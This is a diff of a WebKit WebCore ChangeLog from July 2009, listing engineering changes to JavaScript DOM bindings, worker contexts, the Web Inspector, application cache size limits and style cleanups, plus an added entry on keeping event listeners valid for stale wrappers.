-        (WebCore::DedicatedWorkerContext::toDedicatedWorkerContext):
-        (WebCore::DedicatedWorkerContext::setOnmessage):
-        (WebCore::DedicatedWorkerContext::onmessage):
-        * workers/DedicatedWorkerContext.idl: Added.
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::~WorkerContext):
-        Moved code that notifies parent that worker is closing down into DedicatedWorkerContext.
-        * workers/WorkerContext.h:
-        (WebCore::WorkerContext::isClosing):
-        Exposed closing flag as an API so derived classes can access it.
-        * workers/WorkerContext.idl:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::MessageWorkerContextTask::performTask):
-        Calls into DedicatedWorkerContext to handle message.
-        * workers/WorkerThread.cpp:
-        (WebCore::WorkerThread::workerThread):
-        Creates a DedicatedWorkerContext when the thread starts up.
-
-2009-07-24  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Move more callers to using 3 argument toJS
-        https://bugs.webkit.org/show_bug.cgi?id=27661
-
-        No functional changes, thus no tests.
-        These are all the places where we can't yet pass the
-        correct globalObject because we don't have or don't know the right one.
-
-        * bindings/js/JSCustomPositionCallback.cpp:
-        (WebCore::JSCustomPositionCallback::handleEvent):
-        * bindings/js/JSCustomPositionErrorCallback.cpp:
-        (WebCore::JSCustomPositionErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementCallback.cpp:
-        (WebCore::JSCustomSQLStatementCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
-        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionCallback.cpp:
-        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
-        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
-        * bindings/js/JSNodeFilterCondition.cpp:
-        (WebCore::JSNodeFilterCondition::acceptNode):
-
-2009-07-24  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Fix the last of the x-frame constructor calls to have the right prototype chains
-        https://bugs.webkit.org/show_bug.cgi?id=27645
-
-        Fix the last few constructors to use their stored globalObject pointer when
-        constructing objects instead of the lexicalGlobalObject().
-
-        * bindings/js/JSAudioConstructor.cpp:
-        (WebCore::constructAudio):
-        * bindings/js/JSImageConstructor.cpp:
-        (WebCore::constructImage):
-        * bindings/js/JSMessageChannelConstructor.cpp:
-        (WebCore::JSMessageChannelConstructor::construct):
-        * bindings/js/JSOptionConstructor.cpp:
-        (WebCore::constructHTMLOptionElement):
-        * bindings/js/JSWebKitPointConstructor.cpp:
-        (WebCore::constructWebKitPoint):
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::constructWorker):
-
-2009-07-24  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Cleanup exception handling in worker evaluation code.
-        https://bugs.webkit.org/show_bug.cgi?id=27282
-
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::evaluate):
-        * bindings/v8/WorkerContextExecutionProxy.h:
-        (WebCore::WorkerContextExecutionState::WorkerContextExecutionState):
-        * bindings/v8/WorkerScriptController.cpp:
-        (WebCore::WorkerScriptController::evaluate):
-        (WebCore::WorkerScriptController::setException):
-
-2009-07-24  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by David Levin.
-
-        Reverting r46157, since it may be causing problems with Chromium
-        reliability (see http://crbug.com/17569).
-
-        https://bugs.webkit.org/show_bug.cgi?id=27388
-
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawLine):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintForStroking):
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        REGRESSION: inspector seems broken in ToT WebKit
-        https://bugs.webkit.org/show_bug.cgi?id=27646
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
-
-2009-07-24  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Add the shadow style member to the ShadowData constructor and ==
-        operator
-
-        * rendering/style/ShadowData.cpp:
-        (WebCore::ShadowData::ShadowData):
-        (WebCore::ShadowData::operator==):
-
-2009-07-24  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        [V8] More V8 bindings changes to use ErrorEvent.
-        https://bugs.webkit.org/show_bug.cgi?id=27630
-
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertEventToV8Object):
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-
-2009-07-24  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Dave Hyatt.
-
-        Clean up dependencies on Apple support libraries for non-Apple build.
-        http://bugs.webkit.org/show_bug.cgi?id=27532.
-
-        * platform/graphics/win/SimpleFontDataWin.cpp: Conditionalize references
-          to ApplicationServices.h and WebKitSystemInterface.h
-
-2009-07-24  Dan Bernstein  <mitz@apple.com>
-
-        Another attempted build fix 
-
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-
-2009-07-24  Dan Bernstein  <mitz@apple.com>
-
-        Attempted build fix
-
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::toJS):
-
-2009-07-24  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Build fix for 64 bit Linux.
-
-        int64_t is long on Linux 64 bit and not long long, thus
-        getFileSize with a int64_t out value fails to build.
-
-        Use a temporary to work around the problem.
-
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::spaceNeeded):
-
-2009-07-24  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Update all CREATE_DOM_*_WRAPPER callers to pass globalObject
-        https://bugs.webkit.org/show_bug.cgi?id=27644
-
-        This is another attempt at making the change for bug 27634 smaller.
-        I included the changes to make_names.pl as well as any file which
-        used CREATE_DOM_*_WRAPPER macros.
-
-        The changes to the construct* functions are what fix the cases in
-        fast/dom/constructed-objects-prototypes.html
-
-        The changes to passing globalObject through CREATE_* are what fix
-        fast/dom/prototype-inheritance-2.html
-
-        * bindings/js/JSCDATASectionCustom.cpp:
-        (WebCore::toJSNewlyCreated): pass globalObject.
-        * bindings/js/JSCSSRuleCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSCSSValueCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSDOMBinding.h: updated macros to pass globalObject.
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSElementCustom.cpp:
-        (WebCore::JSElement::setAttributeNode): use globalObject() for wrapping return value.
-        (WebCore::JSElement::setAttributeNodeNS): use globalObject() for wrapping return value.
-        (WebCore::toJSNewlyCreated): pass globalObject.
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::JSEvent::clipboardData): pass globalObject.
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems): use globalObject() for wrapping returned collection items.
-        (WebCore::callHTMLCollection): use globalObject() for wrapping returned collection items.
-        (WebCore::JSHTMLCollection::item): use globalObject() for wrapping returned collection items.
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSImageDataCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::createWrapper): pass globalObject.
-        * bindings/js/JSSVGPathSegCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSStyleSheetCustom.cpp:
-        (WebCore::toJS): pass globalObject.
-        * bindings/js/JSTextCustom.cpp:
-        (WebCore::toJSNewlyCreated): pass globalObject.
-        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
-        (WebCore::constructWebKitCSSMatrix): use constructors globalObject when constructing
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        (WebCore::constructXMLHttpRequest): use constructors globalObject when constructing
-        * bindings/js/JSXSLTProcessorConstructor.cpp:
-        (WebCore::constructXSLTProcessor): use constructors globalObject when constructing
-        * dom/make_names.pl:
-            Pass globalObject through CREATE_* macros and various support functions.
-
-2009-07-24  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Update CodeGeneratorJS.pm to support passing JSDOMGlobalObject* to toJS calls
-        https://bugs.webkit.org/show_bug.cgi?id=27643
-
-        This is an attempt to make this change as small as possible.
-        I started by including all changes to CodeGeneratorJS.pm from bug 27634,
-        and then made the minimal amount of other changes needed to support that change.
-
-        Most toJS implementations ignore their passed JSDOMGlobalObject.
-        There are stub 2-argument toJS, toJSNewlyCreated implementations to help compiling.
-        All places where it is not clear what we should pass as the global object
-        (or where the global object is simply not available, like for some SVG bindings)
-        we pass deprecatedGlobalObjectForPrototype instead.
-
-        * bindings/js/JSCDATASectionCustom.cpp:
-        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
-        * bindings/js/JSCSSRuleCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSCSSValueCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::setDOMException): pass the wrong globalObject for now
-        * bindings/js/JSDOMBinding.h:
-            Pass the wrong global object to the CREATE_ macros for now.
-            In the next change we'll come back and pass the correct one.
-            That will require changes to make_names.pl.
-        (WebCore::DOMObjectWithGlobalPointer::scriptExecutionContext):
-        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
-        (WebCore::DOMObjectWithGlobalPointer::~DOMObjectWithGlobalPointer):
-        (WebCore::createDOMObjectWrapper):
-        (WebCore::getDOMObjectWrapper):
-        (WebCore::createDOMNodeWrapper):
-        (WebCore::getDOMNodeWrapper):
-        (WebCore::toJS): added to convert 2 arg calls to 3 arg calls to limit the scope of this change.
-        (WebCore::toJSNewlyCreated):
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::toJS): DOMWindow always uses its own prototype chain.
-        * bindings/js/JSDOMWindowBase.h:
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSElementCustom.cpp:
-        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSEventTarget.h:
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSImageDataCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::createWrapper): pass globalObject to toJS(Document*) to avoid recursion
-        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::toJS): pass globalObject along
-        * bindings/js/JSSVGMatrixCustom.cpp:
-        (WebCore::JSSVGMatrix::inverse): pass wrong globalObject for now.
-        (WebCore::JSSVGMatrix::rotateFromVector): pass wrong globalObject for now.
-        * bindings/js/JSSVGPathSegCustom.cpp:
-        (WebCore::toJS):
-        * bindings/js/JSSVGPathSegListCustom.cpp:
-            All of these methods need a globalObject, but most SVG binding don't have
-            space for one, so we just pass the lexicalGlobalObject for now.
-        (WebCore::JSSVGPathSegList::initialize):
-        (WebCore::JSSVGPathSegList::getItem):
-        (WebCore::JSSVGPathSegList::insertItemBefore):
-        (WebCore::JSSVGPathSegList::replaceItem):
-        (WebCore::JSSVGPathSegList::removeItem):
-        (WebCore::JSSVGPathSegList::appendItem):
-        * bindings/js/JSSVGPointListCustom.cpp:
-        (WebCore::finishGetter): pass wrong globalObject for now.
-        (WebCore::finishSetter):
-        (WebCore::finishSetterReadOnlyResult):
-        * bindings/js/JSSVGTransformListCustom.cpp:
-        (WebCore::finishGetter): pass wrong globalObject for now.
-        (WebCore::finishSetter):
-        (WebCore::finishSetterReadOnlyResult):
-        * bindings/js/JSStyleSheetCustom.cpp:
-        (WebCore::toJS): add ignored JSDOMGlobalObject*
-        * bindings/js/JSTextCustom.cpp:
-        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
-        * bindings/js/JSWorkerContextBase.cpp:
-        (WebCore::toJS): WorkerContext always uses its own prototype chain since it's a GlobalObject subclass.
-        * bindings/js/JSWorkerContextBase.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
-            All generated toJS calls now pass a globalObject.
-            All generated toJS implementations now expect a globalObject.
-            Simplified all the slot casts by using a "castedThis" local.
-            SVG bindings which don't have a globalObject() accessor pass the deprecated lexicalGlobalObject instead.
-            Simplified printing of constructor objects using a $constructorClassName variable.
-            All generated constructor functions follow the construct$className form to match the custom constructors.
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        typing "document.__proto__" in inspector throws exception
-        https://bugs.webkit.org/show_bug.cgi?id=27169
-
-        * inspector/front-end/utilities.js:
-        (Object.type):
-
-2009-07-24  Andrei Popescu  <andreip@google.com>
-
-        Reviewed by Anders Carlsson.
-
-        ApplicationCache should have size limit
-        https://bugs.webkit.org/show_bug.cgi?id=22700
-
-        https://lists.webkit.org/pipermail/webkit-dev/2009-May/007560.html
-
-        This change implements a mechanism for limiting the maximum size of
-        the application cache file. When this size is reached, a ChromeClient
-        callback is invoked asynchronously and the saving of the last (failed)
-        cache is retried automatically.
+        1. A stale wrapper would invalidate a node's event listeners, even if
+        the node had a fresh wrapper keeping it alive.
         
-        This change also extends the ApplicationCacheStorage API by allowing
-        a client to query or modify the application cache without having to
-        load any resources into memory.
-
-        Test: http/tests/appcache/max-size.html
-
-        * WebCore.base.exp:
-        Exports the symbols required by the DumpRenderTree test application.
-        * loader/EmptyClients.h:
-        Adds empty implementation of the new ChromeClient methods.
-        * loader/appcache/ApplicationCache.cpp:
-        * loader/appcache/ApplicationCache.h:
-        Adds the ability to calculate the approximate size of an ApplicationCache object.
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        * loader/appcache/ApplicationCacheGroup.h:
-        Invokes the ChromeClient callback when the storage layer runs out of space.
-        After the callback is invoked, we re-attempt to store the newest cache,
-        in case the ChromeClient has freed some space.
-        * loader/appcache/ApplicationCacheResource.cpp:
-        * loader/appcache/ApplicationCacheResource.h:
-        Adds the ability to calculate the approximate size of an ApplicationCacheResource object.
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        * loader/appcache/ApplicationCacheStorage.h:
-        Enforces a maximum size for the application cache file.
-        * page/ChromeClient.h:
-        Adds a new callback, invoked when the ApplicationCacheStorage reports that it has
-        reached the maximum size for its database file.
-        * platform/sql/SQLiteDatabase.cpp:
-        * platform/sql/SQLiteDatabase.h:
-        Adds a new method that allows querying for the amount of unused space inside the
-        application cache database file.
-
-2009-07-24  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25415
-        [GTK][ATK] Please implement support for get_text_at_offset
-
-        Use TextEncoding facilities to convert between UTF16 and UTF8
-        instead of rolling our own solution.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (convertUniCharToUTF8):
-
-2009-07-24  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25415
-        [GTK][ATK] Please implement support for get_text_at_offset
-
-        Fix confusion in g_substr between length in bytes and length in
-        characters. Was causing crashes in some situations when dealing
-        with non-ASCII text encoded as UTF8.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (g_substr):
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Impossible to add an attribute to a node without attributes
-        https://bugs.webkit.org/show_bug.cgi?id=21108
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement):
-        (WebInspector.ElementsTreeElement.prototype.set hovered):
-        (WebInspector.ElementsTreeElement.prototype.toggleNewButton):
-        (WebInspector.ElementsTreeElement.prototype.ondblclick):
-        (WebInspector.ElementsTreeElement.prototype._startEditing):
-        (WebInspector.ElementsTreeElement.prototype._addNewAttribute):
-        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
-        * inspector/front-end/inspector.css:
-
-2009-07-24  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Adds support for Firebug's magic $0 variable to access inspected node
-        https://bugs.webkit.org/show_bug.cgi?id=17907
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled): Added _inspectorCommandLineAPI.{
-            _inspectedNodes, _addInspectedNode, $0, $1, $n}
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged): Stores the inspected node history
-            in _inspectorCommandLineAPI._inspectedNodes
-        (WebInspector.ElementsPanel):
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Dragging a resource in the sidebar should drag it's URL
-        https://bugs.webkit.org/show_bug.cgi?id=14410
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.onattach):
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Double click on a resource in the sidebar should open that resource in Safari
-        https://bugs.webkit.org/show_bug.cgi?id=14409
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick): open a resource url
-
-2009-07-24  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Xan Lopez.
-
-        Bump pango version requirement to 1.12 and remove unnecessary #ifdefs.
-
-        * platform/graphics/gtk/FontGtk.cpp:
-        (WebCore::getDefaultPangoLayout):
-        * platform/graphics/gtk/FontPlatformDataPango.cpp:
-        (WebCore::FontPlatformData::FontPlatformData):
-        * platform/gtk/Language.cpp:
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Missing UIString and other localizedString.js fixes
-        https://bugs.webkit.org/show_bug.cgi?id=27288
-
-        * English.lproj/localizedStrings.js:
-
-2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Should Syntax Highlight JSON
-        https://bugs.webkit.org/show_bug.cgi?id=27503
-
-        * inspector/front-end/SourceView.js:
-        (WebInspector.SourceView.prototype._contentLoaded):
-
-2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Update WebCore/page/DOMTimer.cpp/h to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27624
-
-        * page/DragController.cpp:
-        (WebCore::DragController::~DragController):
-        (WebCore::documentFragmentFromDragData):
-        (WebCore::DragController::dragEnded):
-        (WebCore::DragController::dragEntered):
-        (WebCore::DragController::dragExited):
-        (WebCore::DragController::dragUpdated):
-        (WebCore::DragController::performDrag):
-        (WebCore::asFileInput):
-        (WebCore::DragController::tryDocumentDrag):
-        (WebCore::DragController::delegateDragSourceAction):
-        (WebCore::DragController::concludeEditDrag):
-        (WebCore::DragController::canProcessDrag):
-        (WebCore::DragController::tryDHTMLDrag):
-        (WebCore::DragController::mayStartDragAtEventLocation):
-        (WebCore::getCachedImage):
-        (WebCore::getImage):
-        (WebCore::prepareClipboardForImageDrag):
-        (WebCore::dragLocForDHTMLDrag):
-        (WebCore::DragController::startDrag):
-        (WebCore::DragController::doImageDrag):
-        (WebCore::DragController::doSystemDrag):
-        (WebCore::DragController::placeDragCaret):
-
-2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Update WebCore/page/Chrome.cpp to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27608
-
-        * page/Chrome.cpp:
-        (WebCore::Chrome::runBeforeUnloadConfirmPanel):
-        (WebCore::Chrome::runJavaScriptAlert):
-        (WebCore::Chrome::runJavaScriptConfirm):
-        (WebCore::Chrome::runJavaScriptPrompt):
-        (WebCore::Chrome::shouldInterruptJavaScript):
-        (WebCore::Chrome::setToolTip):
-        (WebCore::Chrome::requestGeolocationPermissionForFrame):
-        (WebCore::ChromeClient::generateReplacementFile):
-        (WebCore::ChromeClient::paintCustomScrollbar):
-
-2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Update WebCore/page/Coordinates.cpp to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27614
-
-        * page/Coordinates.cpp:
-        (WebCore::Coordinates::toString):
-
-2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Update WebCore/page/DOMSelection.cpp/h to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27614
-
-        * page/DOMSelection.cpp:
-        (WebCore::DOMSelection::setBaseAndExtent):
-        (WebCore::DOMSelection::modify):
-        (WebCore::DOMSelection::addRange):
-        (WebCore::DOMSelection::deleteFromDocument):
-        * page/DOMSelection.h:
-
-2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Update WebCore/page/DOMTimer.cpp/h to conform to WebKit
-        Style Guidelines as identified by cpplint.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27618
-
-        * page/DOMTimer.cpp:
-        (WebCore::DOMTimer::DOMTimer):
-        (WebCore::DOMTimer::~DOMTimer):
-        (WebCore::DOMTimer::fired):
-        (WebCore::DOMTimer::suspend):
-        (WebCore::DOMTimer::resume):
-        (WebCore::DOMTimer::canSuspend):
-        * page/DOMTimer.h:
-        (WebCore::DOMTimer::minTimerInterval):
-        (WebCore::DOMTimer::setMinTimerInterval):
+        The fix for this is for an event listener to keep a WeakGCPtr back-pointer
+        to the wrapper it expects to mark it. The wrapper destructor checks this
+        back-pointer, and only invalidates the event listener in the case of a match.
 
-2009-07-24  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Classes call DOMObject::mark() explicitly, should call DOMObjectWithGlobal::mark() instead
-        https://bugs.webkit.org/show_bug.cgi?id=27641
-
-        Nothing uses globalObject() yet, but this was causing crashes
-        in the patch for bug 27634.  This is covered by fast/dom/gc-6.html.
+        2. Conversely, a stale wrapper would not invalidate a node's event
+        listeners soon enough, if its destructor didn't have a chance to run
+        before an event fired on the node. (This can only happen in cases where
+        we've made some other error and failed to mark a wrapper that was circuitously
+        observable in the DOM. But we know we have edge case bugs like this, and
+        we don't want them to be crashes.)
+        
+        The fix for this is to check the wrapper back-pointer before firing the
+        event listener. As long as the the wrapper back-pointer is not null,
+        it's safe to fire the listener. 
 
-        I decided to change these to Base:: instead of DOMObjectWithGlobal::
-        for future-proofing.  All autogenerated classes use a typedef Base
-        to avoid bugs like these.  Sadly C+does not have a built-in super:: we could use.
+        * ForwardingHeaders/runtime/WeakGCPtr.h: Added. Appease build gods.
 
-        * WebCore.xcodeproj/project.pbxproj:
         * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::mark):
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
         * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::mark):
-        * bindings/js/JSMessageChannelCustom.cpp:
-        (WebCore::JSMessageChannel::mark):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::mark):
-        * bindings/js/JSNamedNodesCollection.cpp:
-        (WebCore::JSNamedNodesCollection::getOwnPropertySlot):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::mark):
-        * bindings/js/JSNodeFilterCustom.cpp:
-        (WebCore::JSNodeFilter::mark):
-        * bindings/js/JSNodeIteratorCustom.cpp:
-        (WebCore::JSNodeIterator::mark):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::mark):
-        * bindings/js/JSTreeWalkerCustom.cpp:
-        (WebCore::JSTreeWalker::mark):
-
-2009-07-22  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Make most DOMObjects hold onto a JSDOMGlobalObject*
-        https://bugs.webkit.org/show_bug.cgi?id=27588
-
-        This change is almost entirely plumbing.  Only one functional
-        change as part of this all (window.document.constructor has the correct prototype)
-        Changes are detailed below.
-
-        inner.document.constructor is fixed because all properties on the window
-        object are created with the correct globalObject (instead of the lexical one).
-        Since all objects now carry a globalObject pointer, when document creates
-        HTMLDocumentConstructor it now has the right globalObject to use.
-
-        Tests:
-          fast/dom/prototype-inheritance.html
-          fast/dom/prototype-inheritance-2.html
-
-        * bindings/js/DOMObjectWithSVGContext.h:
-        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
-            Update the comment and add an ignored globalObject argument.
-        * bindings/js/JSDOMBinding.h:
-            Pass a globalObject to all DOMObjects during creation.  Currently it's the wrong global object.
-            Once toJS is passed a globalObject it will be the right one.
-        (WebCore::createDOMObjectWrapper):
-        (WebCore::createDOMNodeWrapper):
-        * bindings/js/JSDOMGlobalObject.h:
-        (WebCore::JSDOMGlobalObject::globalObject): Makes binding generation easier.
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
         * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::history): JSHistory is now passed a globalObject, but since it has no custom constructor it doesn't use it.
-        (WebCore::JSDOMWindow::location): JSLocation is now passed a globalObject, but since it has no custom constructor it doesn't use it.
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::JSDocument::location): JSLocation is now passed a globalObject, but since it has no custom constructor it doesn't use it.
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::JSHTMLAllCollection):
-        * bindings/js/JSHTMLCollectionCustom.cpp: Re-factoring needed to pass globalObject to JSNamedNodesCollection constructor.
-        (WebCore::getNamedItems):
-        (WebCore::callHTMLCollection):
-        (WebCore::JSHTMLCollection::canGetItemsForName):
-        (WebCore::JSHTMLCollection::nameGetter):
-        (WebCore::JSHTMLCollection::item):
-        (WebCore::JSHTMLCollection::namedItem):
-        * bindings/js/JSHTMLFormElementCustom.cpp:
-        (WebCore::JSHTMLFormElement::nameGetter):
-        * bindings/js/JSNamedNodesCollection.cpp:
-             Now passed globalObject.  This is tested by inner.document.forms.testForm.
-             The passed globalObject is still wrong until toJS is fixed.
-        (WebCore::JSNamedNodesCollection::JSNamedNodesCollection):
-        * bindings/js/JSNamedNodesCollection.h:
-        * bindings/js/JSSharedWorkerConstructor.cpp:
-             Add DOMConstructorObject missed by http://trac.webkit.org/changeset/45938
-             This class is not compiled by default, so not testable.
-        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
-        * bindings/js/JSSharedWorkerConstructor.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
-             Make all bindings objects carry a globalObject pointer using DOMObjectWithGlobalPointer.
-             SVG bindings which need a context() pointer do not have enough space for globalObject() too.
-             WorkerContext does not need a globalObject (it is one), so special case it.
-             Make all .constructor calls use the stored globalObject().  This is what fixes window.document.constructor.
-             Make all constructors inherit from DOMConstructorObject for consistency.  Since the auto-bound constructors
-             override createStructure anyway, there is no functional change here.  Just completing work started in r45938.
-
-2009-07-23  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Geoff Garen.
-
-        WebCore has a few places that don't gracefully handle a null request returned from willSendRequest.
-        https://bugs.webkit.org/show_bug.cgi?id=27595
-
-        Test: http/tests/misc/will-send-request-returns-null-on-redirect.html
-        
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::removeResource): Null-check the request URL.
-        
-        * platform/network/cf/ResourceHandleCFNet.cpp: Ditto, and return null instead of creating an empty one.
-        (WebCore::willSendRequest):
-
-2009-07-23  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27633 - AXLoadComplete can be fired off to frequently
-        https://bugs.webkit.org/show_bug.cgi?id=27633
-
-        An integration issue left out some curly braces.
-
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose):
-
-2009-07-23  Darin Adler  <darin@apple.com>
-
-        Reviewed by Brady Eidson.
-
-        URL appears in back/forward button menu instead of title for items with custom representation
-        https://bugs.webkit.org/show_bug.cgi?id=27586
-        rdar://problem/5060337
-
-        * WebCore.base.exp: Exported DocumentLoader::setTitle for use by Mac WebKit.
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::didChangeTitle): Tightened code to check if the document
-        loader is the correct one; previously this would never happen because we'd
-        commit the load before any title changes could be registered, but now we can
-        encounter a case where we get a title during a provisional load.
-
